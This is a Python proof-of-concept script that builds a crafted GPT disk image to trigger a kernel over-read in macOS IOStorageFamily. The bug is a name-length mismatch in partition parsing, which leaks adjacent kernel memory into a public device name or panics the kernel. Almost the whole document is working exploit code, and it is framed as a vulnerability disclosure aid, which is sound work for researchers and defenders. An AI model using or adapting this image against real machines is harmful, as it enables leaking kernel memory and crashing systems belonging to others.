| | #!/usr/bin/env python3 | | | """ | | | PoC for the IOStorageFamily GPT partition-name over-read (CVE-2026-112554). | | | https://seriot.ch/security/iostoragefamily.html | | | IOGUIDPartitionScheme passes sizeof(ent_name) == 72 (BYTES) to a converter that | | | expects a count of UTF-16 elements. A 36-unit, non-NUL-terminated name therefore | | | makes the kernel read up to 36 units PAST the end of the field, and those bytes | | | end up in the public IOMedia name. | | | This image puts that unterminated name in the LAST table entry, so the over-read | | | exits the 512-byte table buffer into adjacent kernel memory and those bytes are | | | appended to the public IOMedia name. If the read reaches unmapped memory the | | | kernel panics instead. | | | """ | | | import binascii | | | import struct | | | import uuid | | | OUTPUT = "/tmp/crasher.img" | | | SECTOR = 512 | | | ENTRY_SIZE = 128 | | | SECTORS = 2048 |
| | BASIC = uuid.UUID("EBD0A0A2-B9E5-4433-87C0-68B6B72699C7") # Basic Data partition type |
| | def u16(text): |
| | return text.encode("utf-16-le") |
| | def entry(name, start, end, terminate=True): |
| | """One 128-byte GPT entry. With terminate=False the 72-byte name field is | | | left completely full (no NUL), so the converter reads past it.""" |
| | guids = BASIC.bytes_le + uuid.uuid4().bytes_le |
| | body = guids + struct.pack("<QQQ", start, end, 0) |
| | raw = u16(name) |
| | return body + (raw.ljust(72, b"\0") if terminate else raw[:72]) |
| | def gpt_header(table): |
| | header = bytearray(92) |
| | header[:8] = b"EFI PART" |
| | struct.pack_into("<II", header, 8, 0x00010000, 92) |
| | struct.pack_into("<QQQQ", header, 24, 1, SECTORS - 1, 34, SECTORS - 34) |
| | header[56:72] = uuid.uuid4().bytes_le |
| | struct.pack_into("<QIII", header, 72, 2, 4, ENTRY_SIZE, |
| | binascii.crc32(table) & 0xFFFFFFFF) |
| | struct.pack_into("<I", header, 16, binascii.crc32(header) & 0xFFFFFFFF) |
| | return header |
| | def disk_image(table): |
| | if len(table) != SECTOR: |
| | raise ValueError("GPT table must be exactly %d bytes" % SECTOR) |
| | mbr = bytearray(SECTOR) |
| | mbr[450] = 0xEE # protective MBR partition type |
| | struct.pack_into("<II", mbr, 454, 1, SECTORS - 1) |
| | mbr[510:] = b"\x55\xaa" |
| | image = bytearray(SECTOR * SECTORS) |
| | image[:SECTOR] = mbr |
| | image[SECTOR:SECTOR + 92] = gpt_header(table) |
| | image[2 * SECTOR:3 * SECTOR] = table |
| | return image | | | def main(): | | | # Three benign entries, then the unterminated full-length name LAST, so the | | | # over-read exits the 512-byte buffer into adjacent kernel memory. |
| | name = ("LEAK00_" + "." * 36)[:36] |
| | table = (entry("pv1", 40, 47) + entry("pv2", 200, 207) + |
| | entry("pv3", 300, 307) + entry(name, 1000, 1007, terminate=False)) |
| | with open(OUTPUT, "wb") as f: |
| | f.write(disk_image(table)) |
| | print("wrote", OUTPUT) |
| | print("vulnerable kernel: LEAK00 name > 36 chars; extra bytes are adjacent kernel memory") |
| | print("fixed kernel: LEAK00 name is exactly 36 chars") | | | print("WARNING: on a vulnerable kernel the over-read may panic. Disposable VM only.") |
| | if __name__ == "__main__": |
| | main() |